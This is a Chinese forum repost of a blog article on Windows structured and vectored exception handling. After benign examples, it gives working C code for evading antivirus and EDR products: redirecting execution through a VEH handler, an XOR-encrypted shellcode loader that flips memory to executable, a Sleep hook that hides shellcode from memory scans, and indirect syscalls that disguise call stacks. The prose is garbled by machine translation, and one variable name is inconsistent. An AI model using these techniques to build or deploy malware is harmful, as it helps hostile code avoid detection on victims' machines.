ToB企服应用市场:ToB评测及商务社交产业平台
标题:
从安全角度看 SEH 和 VEH
[打印本页]
作者:
我可以不吃啊
时间:
2024-12-13 18:20
标题:
从安全角度看 SEH 和 VEH
异常处置惩罚步伐是处置惩罚步伐中不可预见的错误的根本方法之一
https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/exceptions/
SEH——结构化异常处置惩罚步伐
就其工作方式而言,异常处置惩罚步伐与其他处置惩罚步伐相比相称底子,有一个 try 块用于包装不安全代码,另有一个 except 块用于在生成特定异常时进行处置惩罚。
在下面的代码中示例中,可以通过将 0 作为第二个输入来生成异常,因为除以零是系统生成的异常。这被包装在try块中,过滤器代码会查抄这是什么范例的异常,在这种环境下,如果是,EXCEPTION_INT_DIVIDE_BY_ZERO将继续处置惩罚包装在except块中的异常。
int main()
{
__try
{
int inp1 = 0, inp2 = 0;
printf("第一个输入: ");
scanf_s("%d", &inp1);
printf("第二个输入: ");
scanf_s("%d", &inp2);
int result = inp1 / inp2;
printf("结果: %d", result);
}
__except ((_exception_code() == EXCEPTION_INT_DIVIDE_BY_ZERO || _exception_code() == EXCEPTION_FLT_DIVIDE_BY_ZERO) ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)
{
printf("触发的异常是: EXCEPTION_FLT_DIVIDE_BY_ZERO\n");
}
return 0;
}
复制代码
从编译时开始。编译器生成有关异常的所有须要信息,异常范例,过滤器的位置和处置惩罚它的最终代码等,末了将它们内嵌到PE文件的异常框架中
VEH——向量异常处置惩罚步伐
向量异常处置惩罚是结构化异常处置惩罚的扩展,这些处置惩罚步伐利用回调函数机制工作。每当发生异常时,就会调用这些回调函数。所有这些回调函数都位于二进制文件在运行时添加的排序链接列表中。可以通过 winAPI AddVectoredExceptionHandler在步伐中的任何位置注册回调。
需要注意的是,VEH 异常处置惩罚步伐是全局注册的,并不与单个函数或单个堆栈框架绑定。由于向后兼容,系统首先调用所有 VEH 处置惩罚步伐,如果所有处置惩罚步伐均未执行该处置惩罚步伐,则将其传递给 SEH。此外,VEH 以循环链接列表的形式实现。
PVOID AddVectoredExceptionHandler(
ULONG First,
PVECTORED_EXCEPTION_HANDLER Handler
);
复制代码
winAPI 有两个参数,
第一个参数界说处置惩罚函数是否应该注册在链接列表的开头或结尾。这告诉系统首先调用哪个处置惩罚步伐。
第二个参数是要注册的回调函数的指针。
回调函数界说如下
PVECTORED_EXCEPTION_HANDLER PvectoredExceptionHandler;
LONG PvectoredExceptionHandler(
[in] _EXCEPTION_POINTERS *ExceptionInfo
)
复制代码
第一个参数中指向结构的指针界说如下
typedef struct _EXCEPTION_POINTERS {
PEXCEPTION_RECORD ExceptionRecord;
PCONTEXT ContextRecord;
} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;
复制代码
该结构包罗两个重要成员:
结构体中的第一个指针指向结构体EXCEPTION_RECORD 里面包罗界说的异常的详细信息
ExceptionRecord界说如下:
typedef struct _EXCEPTION_RECORD {
DWORD ExceptionCode;
DWORD ExceptionFlags;
struct _EXCEPTION_RECORD *ExceptionRecord;
PVOID ExceptionAddress;
DWORD NumberParameters;
ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;
复制代码
第一个元素是最常用的,它包罗产生了什么范例的异常,比方STATUS_INTEGER_DIVISION_BY_ZERO。
第二个指针指向结构CONTEXT,此中包罗异常发生时CPU上下文的所有细节。这个结构非常重要,因为它可以答应读取和写回数据,一旦执行规复,这些数据将直接在CPU上应用。这是因为当异常处置惩罚步伐完成其执行时,系统将根据返回值继续搜刮异常或继续执行历程。
当系统继续执行历程时,它调用RtlRestoreContext winAPI来规复CPU状态和我们覆盖它的数据。由于这是由系统自动完成的,安全产品通常不会检测到这种CPU状态覆盖。
VEH 的利用非常简单:
注册一个名为VEHHandler()的处置惩罚步伐,它将成为VEH异常列表中的全局处置惩罚步伐。这个处置惩罚步伐负责查抄发生的异常是否是想要的异常。
LONG WINAPI VEHHandler(
struct _EXCEPTION_POINTERS* ExceptionInfo
) {
if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_INTEGER_DIVIDE_BY_ZERO || ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_FLOAT_DIVIDE_BY_ZERO) {
printf("触发的异常是: STATUS_INTEGER_DIVIDE_BY_ZERO\n");
}
return EXCEPTION_CONTINUE_EXECUTION;
}
int main()
{
PVOID h1 = AddVectoredExceptionHandler(1, VEHHandler);
int inp1 = 0, inp2 = 0;
printf("第一个输入: ");
scanf_s("%d", &inp1);
printf("第二个输入: ");
scanf_s("%d", &inp2);
int result = inp1 / inp2;
printf("结果: %d", result);
RemoveVectoredExceptionHandler(h1);
return 0;
}
复制代码
与SEH差别,VEH可以被以为是一种运行时机制,因为处置惩罚步伐是在运行时过程中的任何地方注册和删除的。
异常处置惩罚技术在绕过防护机制中的应用
执行payload
由于可以访问 context 结构,以是可以直接修改 RIP 寄存器的内容以指向想要的任何位置,这意味着可以进行间接调用。
void myFunction() {
//payload..........
printf("[*] myFunction() Called\n");
}
LONG WINAPI testHandler(
struct _EXCEPTION_POINTERS* ExceptionInfo
) {
if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_INTEGER_DIVIDE_BY_ZERO || ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_FLOAT_DIVIDE_BY_ZERO) {
ULONG64 Offset = 0x1000;
HMODULE BaseAddress = GetModuleHandleA(NULL);
printf("[*]进程基地址: %#llx\n", (ULONG64)BaseAddress);
ULONG64 FunctionAddress = (ULONG64)BaseAddress + Offset;
printf("[*] myFunction地址: %#llx\n", (ULONG64)FunctionAddress);
ExceptionInfo->ContextRecord->Rip = (DWORD64)FunctionAddress;
}
return EXCEPTION_CONTINUE_EXECUTION;
}
int main()
{
PVOID h1 = AddVectoredExceptionHandler(1, testHandler);
int inp1 = 0, inp2 = 0;
int result = inp1 / inp2;
RemoveVectoredExceptionHandler(h1);
return 0;
}
复制代码
运行时代码解密+规避内存扫描
利用异常EXCEPTION_ACCESS_VIOLATION,该异常在访问无效的内存页或无效的内存页访问权限时生成。由于shellcode被加密并存储在一个全局变量中,全局变量不是可执行内存区域,以是可以通过简单地将变量转换为函数调用并调用它来轻松地生成异常。
#define XOR_KEY 0x66
char encode_shellcode[] = "\x5b\x90\xff\x3b\x5b\x90\xf7\xe3\x5b\x9e\x06\x75\x13..................";
LONG WINAPI testHandler(
struct _EXCEPTION_POINTERS* ExceptionInfo
) {
if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_ACCESS_VIOLATION) {
printf("[*] 进入异常处理\n");
DWORD flOldProtect;
for (int i = 0; i < sizeof(enc_shellcode); i++) {
encode_shellcode[i] ^= XOR_KEY;
}
BOOL res = VirtualProtect(encode_shellcode, sizeof(encode_shellcode), PAGE_EXECUTE, &flOldProtect);
if (res == TRUE) {
printf("[*] 执行权限改为 PAGE_EXECUTE\n");
}
}
return EXCEPTION_CONTINUE_EXECUTION;
}
int main()
{
PVOID h1 = AddVectoredExceptionHandler(1, testHandler);
(*(void (*)()) & encode_shellcode)();
RemoveVectoredExceptionHandler(h1);
return 0;
}
复制代码
然后再Hook Sleep函数,将功能模块的内存属性改为不可执行,便可规避后续的内存扫描。
static VOID(WINAPI* OrigSleep)(DWORD dwMilliseconds) = Sleep;
void WINAPI NewCustomSleep(DWORD dwMilliseconds) {
if (CustomFlag)
{
VirtualFree(customShellcodeAddr, 0, MEM_RELEASE);
CustomFlag = false;
}
printf("custom sleep time:%d\n", dwMilliseconds);
unhookCustomSleep();
OrigSleep(dwMilliseconds);
hookCustomSleep();
}
void hookCustomSleep() {
DWORD dwOldProtect = NULL;
BYTE pCustomData[5] = { 0xe9,0x0,0x0,0x0,0x0 };
RtlCopyMemory(g_OrigSleep, OrigSleep, sizeof(pCustomData));
DWORD dwCustomOffset = (DWORD)NewCustomSleep - (DWORD)OrigSleep - 5;
RtlCopyMemory(&pCustomData[1], &dwCustomOffset, sizeof(dwCustomOffset));
VirtualProtect(OrigSleep, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
RtlCopyMemory(OrigSleep, pCustomData, sizeof(pCustomData));
VirtualProtect(OrigSleep, 5, dwOldProtect, &dwOldProtect);
}
void unhookCustomSleep() {
DWORD dwOldProtect = NULL;
VirtualProtect(OrigSleep, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
RtlCopyMemory(OrigSleep, g_OrigSleep, sizeof(g_OrigSleep));
VirtualProtect(OrigSleep, 5, dwOldProtect, &dwOldProtect);
}
复制代码
运行时的解密也可以用于对shellcode进行逐条解密一条条的指令执行。这种方式更为猥琐和隐秘,可以通过STATUS_SINGLE_STEP异常和STATUS_ACCESS_VIOLATION异常来实现,读者可以实验
间接系统调用
与上面提到的可能性雷同,也可以修改RIP,用ntdll.dll库中的所在覆盖它,以执行间接的系统调用。
系统调用由寄存器 RAX 控制,此中包罗称为 SSN(系统服务编号)
HOOK技术是AV/EDR常用的检测机制,只管利用syscall可以绕过检测,但这导致了另一种可能的检测机制。在自己的步伐中利用系统调用称为直接系统调用技术,而从其他历程(如库本身)调用系统调用称为间接系统调用技术。
当在自己的步伐中利用系统调用时,通常可以通过简单的签名被检测到(通过查抄系统调用的来源),系统调用的返回所在应该是通过正当的源(如ntdll.dll本身)发生的,但是如果不是这样,它就会发出一个重要的危险信号。这是可以避免的,可以利用向量异常处置惩罚进行间接系统调用,这种技术提供了一个看起来非常正当的调用堆栈。这有助于大大低落被发现的可能性
最简单的方法是利用异常STATUS_ACCESS_VIOLATION,该异常在执行对内存的无效访问时生成。可以将想要调用的SSN号码存储在一个变量中,在本例中是0x18,它对应于系统调用ntallocatvirtualmemory,然后将其转换为函数并调用它。本质上,它调用所在0x18的函数,这显然不是一个有效的所在。这反过来会生成STATUS_ACCESS_VIOLATION异常。如今要将参数传递给函数,只需像调用其他函数一样调用存储SSN的变量,上下文将包罗传递的参数。
一旦生成异常,就可以模拟系统调用指令,就像在ntdll.dll中找到它一样,并将控制流更改为dll中的系统调用所在。
typedef NTSTATUS(NTAPI* pfnNtAllocateVirtualMemory) (
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
ULONG_PTR FindSyscallAddr() {
FARPROC fnDrawText = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDrawText");
BYTE* ptr_sysaddr = (BYTE*)(fnDrawText);
BYTE sig_syscall[] = { 0x0f, 0x05, 0xc3 };
int cnt_sig = 0, cnt_fn = 0;
while (TRUE) {
if (ptr_sysaddr[cnt_fn] == sig_syscall[cnt_sig]) {
cnt_fn++;
cnt_sig++;
if (cnt_sig == sizeof(sig_syscall)) {
ptr_sysaddr += cnt_fn - sizeof(sig_syscall);
break;
}
}
else {
cnt_fn = cnt_fn - cnt_sig + 1;
cnt_sig = 0;
}
}
return (ULONG_PTR)ptr_sysaddr;
}
LONG WINAPI testHandler(
struct _EXCEPTION_POINTERS* ExceptionInfo
) {
if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_ACCESS_VIOLATION) {
ExceptionInfo->ContextRecord->R10 = ExceptionInfo->ContextRecord->Rcx;
DWORD64 ssn = ExceptionInfo->ContextRecord->Rip;
printf("[*] Syscall Number: %#x\n", (INT32)ssn);
ExceptionInfo->ContextRecord->Rax = ssn;
ULONG_PTR SyscallAddr = FindSyscallAddr();
ExceptionInfo->ContextRecord->Rip = SyscallAddr;
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
int main()
{
PVOID h1 = AddVectoredExceptionHandler(1, testHandler);
pfnNtAllocateVirtualMemory NtAllocateVirtualMemory = (pfnNtAllocateVirtualMemory)0x18;
PVOID retAddr = NULL;
ULONG size = 0x1000;
NtAllocateVirtualMemory(GetCurrentProcess(), &retAddr, NULL, (PULONG)&size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (retAddr == NULL) {
printf("[!] NtAllocateVirtualMemory Failed\n");
}
else {
printf("[*] NtAllocateVirtualMemory Success: %#llx\n", (ULONG64)retAddr);
}
RemoveVectoredExceptionHandler(h1);
return 0;
}
复制代码
更多文章,可检察我的个人博客
https://www.laoxinsec.com/
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/)
Powered by Discuz! X3.4